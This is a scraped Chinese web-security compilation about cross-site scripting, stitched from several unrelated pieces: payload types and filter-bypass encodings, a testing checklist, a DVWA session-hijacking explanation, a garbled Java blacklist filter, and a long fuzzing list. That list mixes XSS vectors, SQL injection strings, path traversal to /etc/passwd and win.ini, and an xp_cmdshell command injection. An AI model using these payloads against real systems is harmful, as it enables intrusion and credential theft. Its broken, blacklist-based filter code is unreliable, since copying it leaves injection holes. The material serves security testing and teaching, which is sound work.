分类1. DOM-based cross-site scripting页面本身包含一些DOM对象的操作，如果未对输入的参数进行处理，可能会导致执行恶意脚本。

如下面一些DOM操作：举个例子，假如某个脆弱的页面的代码如下："name="5攻击者使用如下的URL访问时，则非常危险：试了一下，貌似IE、FireFox等浏览器默认对<script>alert(document.cookie)</script>进行了编码，阻止了脚本的执行。

常见的XSS攻击代码

常见的XSS攻击代码第⼀类：<tag on*=*/>在html标签中触发事件Example:1.加载完毕⾃动触发事件<body onload="alert('xss')"></body>2.使html某元素撑满整个页⾯<p onclick="alert('1')" style="postion:fixed;width:100%;heith:100%"> </p>3.增加属性触发事件(使⽤这个页⾯⼀直弹弹窗，关闭不了)<input onfocus="alert('1')" autofocus/>特殊字符' 、" 、( 、)，如果遇到以上四个字符被过滤的情况，需要通过编码的⽅式去绕过。

Example:1.不使⽤ "<input onfocus=alert('1') autofocus/>2.不使⽤ '<input onfocus="alert(/1/)" autofocus/>3.不使⽤ ( )<input onfocus="alert`'1'`" autofocus/>4.不使⽤ ' " ( )<input onfocus=alert`1` autofocus/>5.使⽤html实体编码绕过<input onfocus="alert('1')" autofocus/>6.使⽤html实体编码绕过变形<input onfocus="&#97&#108&#101&#114&#116&#40&#39&#49&#39&#41" autofocus/>防范⽅式Example:1.使⽤环境允许插⼊html标签排版的情况下，很常见的就是将html事件熟悉转义为html实体编码字符，当然也可以直接拦截返回404。

如何测试XSS漏洞

如何测试XSS漏洞XSS（跨站脚本攻击）是一种常见的网络安全漏洞，可以导致恶意用户在受攻击网站上注入恶意脚本代码，从而窃取用户信息、劫持用户会话或者攻击其他用户。

为了保护网站免受XSS攻击，测试人员可以通过以下步骤来测试XSS漏洞。

1. 检查输入点：首先，测试人员需要查找潜在的XSS漏洞源，包括网页的输入字段、URL参数、cookie等。

检查所有可能的输入点，包括文本框、下拉框、复选框和文件上传。

2.输入有效的负载：一旦找到潜在的XSS输入点，测试人员需要输入针对该输入点的有效负载。

有效负载是一段经过特殊处理的脚本代码，目的是证明输入点存在漏洞。

-简单的有效负载包括在输入点中输入小于和大于符号，以验证是否存在HTML或XML注入漏洞。

-引号引起的有效负载是另一个常见的测试情况。

输入引号、反斜杠或其他特殊字符，并观察是否存在反射型XSS漏洞。

3.输入恶意负载：一旦测试人员证明存在XSS漏洞，他们可以输入恶意有效负载，以证明该漏洞的具体危害程度。

这些恶意负载可以包括以下内容：4.检查防御措施：测试人员还应该尝试绕过网站针对XSS攻击的防御措施，以评估它们的有效性。

这些防御措施可能包括输入验证、输出编码、使用内容安全策略等。

-输入验证：检查网站是否对用户输入进行验证。

测试人员可以尝试绕过输入验证，以查看是否存在任何漏洞。

-输出编码：测试人员可以观察到网站是否在输出过程中适当地对用户数据进行编码，以防止XSS攻击。

-内容安全策略：测试人员可以检查网站是否正确配置内容安全策略（CSP），以限制允许加载的资源，从而减少XSS攻击的风险。

5.输出验证：一旦测试人员成功注入了XSS有效负载，他们应该检查网站的响应，并验证恶意代码是否被执行。

他们应该检查是否存在任何敏感信息泄露或页面重定向等问题。

6.报告和修复：测试人员应该记录所有发现的XSS漏洞，并将其报告给网站管理员。

管理员应该及时修复漏洞，并验证修复的有效性。

XSS（跨站脚本攻击）简单讲解

XSS （跨站脚本攻击）简单讲解1.1 XSS 简介跨站脚本攻击（XSS ），是最普遍的Web 应⽤安全漏洞。

这类漏洞能够使得攻击者嵌⼊恶意脚本代码(⼀般是JS 代码)到正常⽤户会访问到的页⾯中，当正常⽤户访问该页⾯时，则可导致嵌⼊的恶意脚本代码的执⾏，从⽽达到恶意攻击⽤户的⽬的。

它常常与其他漏洞⼀起造成破坏性的后果。

1.2 XSS 的分类XSS 漏洞表现为多种形式，并且分为三种类型：反射型、储存型，DOM 型。

这些有⼀些相同的特点，但是在如何确定和利⽤⽅⾯有⼀些区别，下⾯依次分析他们。

1.2.1 反射型XSS反射型XXS 是⼀种⾮持久性的攻击，它指的是恶意攻击者往Web 页⾯⾥插⼊恶意代码，当⽤户浏览该页之时，嵌⼊其中Web ⾥⾯的html 代码会被执⾏，从⽽达到恶意攻击⽤户的⽬的。

提取⽤户提交的输⼊并将其插⼊到服务器相应的html 代码中，这是XSS 漏洞的明显特征，如果应⽤程序没有实施任何过滤和净化，那么它很容易被攻击。

下⾯我就⽤DVWA 为⼤家进⾏演⽰，在输⼊框中咱们构造如下JS 代码这代码是进⾏弹窗操作，如果页⾯出现弹窗，说明咱们插⼊的恶意代码被执⾏，结果如下图进⾏这个简单的测试，有助于澄清两个重要问题，⾸先，name 参数的内容可⽤任何返回给浏览器的数据代替，其次，⽆论服务器端应⽤程序如何处理这些数据，都⽆法阻⽌提交JS 代码，⼀旦提交数据，这些代码就会执⾏。

那我们该如何利⽤反射型XSS 漏洞呢？最简单的⼀种攻击就是攻击者截获通过验证⽤户的会话令牌。

劫持⽤户的会话后，攻击者就可以访问该⽤户经授权访问的所有数据和功能。

下⾯为⼤家画图演⽰⼀下截获令牌的过程。

请求中包含⽤户访问应⽤程序的当前会话令牌。

java处理xss漏洞的工具类代码

Java处理XSS漏洞的工具类代码// 需要滤除的脚本事件关键字String[] eventKeywords = { “onmouseover”, “onmouseout”, “onmousedown”,“onmouseup”, “onmousemove”, “onclick”, “ondblclick”,“onkeypress”, “onkeydown”, “onkeyup”, “ondragstart”,“onerrorupdate”, “onhelp”, “onreadystatechange”, “onrowenter”,“onrowexit”, “onselectstart”, “onload”, “onunload”,“onbeforeunload”, “onblur”, “onerror”, “onfocus”, “onresize”,“onscroll”, “oncontextmenu”, “alert” };content = replace(content, “ script”, “ script”, false);content = replace(content, “ /script”, “ /script”, false);content = replace(content, “ marquee”, “ marquee”, false);content = replace(content, “ /marquee”, “ /marquee”, false);content = replace(content, “…“, “_”, false);// 将单引号替换成下划线content = replace(content, “\”“, “_”, false);// 将双引号替换成下划线// 滤除脚本事件代码for (int i = 0; i eventKeywords.length; i++) {content = replace(content, eventKeywords[i],“_” + eventKeywords[i], false); // 添加一个”_”, 使事件代码无效return content;* 将字符串source 中的oldStr 替换为newStr, 并以大小写敏感方式进行查找 * @param source* 需要替换的源字符串* @param oldStr* 需要被替换的老字符串* @param newStr* 替换为的新字符串private static String replace(String source, String oldStr, String newStr) {return replace(source, oldStr, newStr, true);* 将字符串source 中的oldStr 替换为newStr, matchCase 为是否设置大小写敏感查找 * @param source* 需要替换的源字符串* @param oldStr* 需要被替换的老字符串* @param newStr* 替换为的新字符串* @param matchCase* 是否需要按照大小写敏感方式查找private static String replace(String source, String oldStr, String newStr,boolean matchCase) {if (source == null) {return null;// 首先检查旧字符串是否存在, 不存在就不进行替换if (source.toLowerCase().indexOf(oldStr.toLowerCase()) == -1) {return source;int findStartPos = 0;int a = 0;while (a -1) {int b = 0;String str1, str2, str3, str4, strA, strB;str1 = source;str2 = str1.toLowerCase();str3 = oldStr;str4 = str3.toLowerCase();if (matchCase) {strA = str1;strB = str3;} else {strA = str2;strB = str4;a = strA.indexOf(strB, findStartPos);if (a -1) {b = oldStr.length();findStartPos = a + b;StringBuffer bbuf = new StringBuffer(source); source = bbuf.replace(a, a + b, newStr) + ““;// 新的查找开始点位于替换后的字符串的结尾findStartPos = findStartPos + newStr.length() - b;return source;public static void main(String [] args){//String str = “./fabu-advSousuo.jsp?userName=xxx script alert(123); /script password=yyy”;String str= “http://192.168.63.87:7001/xxx/xxxx/fabu-search.jsp?searchText= script alert(…11‟); /scriptSystem.out.println(AntiXSS.replaceHtmlCode(str));}}。

1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。

hi’ or ’a’=’a
hi’) or (’a’=’a
hi") or ("a"="a
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert(’XSS’)">
<BODY ONLOAD=alert(’XSS’)>
<IMG DYNSRC="javascript:alert(’XSS’)">
<script>alert(’XSS’)</script>
<img src="javascript:alert(’XSS’)">
<script>alert(/"Vulnerable/")</script>.jsp
"
../../../../../../../etc/passwd
/../../../../../../../../windows/system.ini
’’;!--"<XSS>=&{()}
<IMG SRC="javascript:alert(’XSS’);">
<IMG SRC=javascript:alert(’XSS’)>
<IMG SRC=JaVaScRiPt:alert(’XSS’)>
../../../../../windows/win.ini
/index.html
?.jsp
?.jsp
<script>alert(’Vulnerable’);</script&gt
<script>alert(’Vulnerable’)</script>
?sql_debug=1
<IMG SRC="javascript:alert(’XSS’)"

<IMG SRC="jav
ascript:alert(’XSS’);">
<IMG SRC="javascript:alert(’XSS’);">
"<IMG SRC=java/0script:alert(/"XSS/")>";’ > out
<IMG SRC=" javascript:alert(’XSS’);">
<IMG SRC=JaVaScRiPt:alert("XSS")>
<IMG SRC=javascript:alert('XSS'&#41>
a\.aspx
a.jsp/<script>alert(’Vulnerable’)</scriptgt;alert(’Vulnerable’)</script>
"><script>alert(’Vulnerable’)</script>
’;exec master..xp_cmdshell ’dir c: > c:/inetpub/wwwroot/?.txt’--&&
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
">
&
&SESSION_ID={SESSION_ID}&SESSION_ID=
1 union all select pass,0,0,0,0 from customers where fname=
../../../../../../../../etc/passwd
../../../../../../../../windows/system.ini
<IMG LOWSRC="javascript:alert(’XSS’)">
<BGSOUND SRC="javascript:alert(’XSS’);">
<br size="&{alert(’XSS’)}">
<LAYER SRC="/info/upimg/allimg/080417/0946110.jpg"></SCRIPT>
" or "x"="x
’) or (’x’=’x
’ or 1=1--
" or 1=1--
or 1=1--
’ or a=a--
" or "a"="a
’) or (’a’=’a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi’ or 1=1 --
><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<SCRIPT a=">" ’’ SRC="/a.js"></SCRIPT>
<SCRIPT "a=’>’" SRC="/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="/a.js"></SCRIPT>
<IMG SRC="/somecommand.php?somevariables=maliciouscode">
<SCRIPT a=">" SRC="/a.js"></SCRIPT>
<SCRIPT =">" SRC="/a.js"></SCRIPT>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav	ascript:alert(’XSS’);">
<A HREF=http://www.go//>link</A>
admin’--
’ or 0=0 --
" or 0=0 --
or 0=0 --
’ or 0=0 #
" or 0=0 #
or 0=0 #
’ or ’x’=’x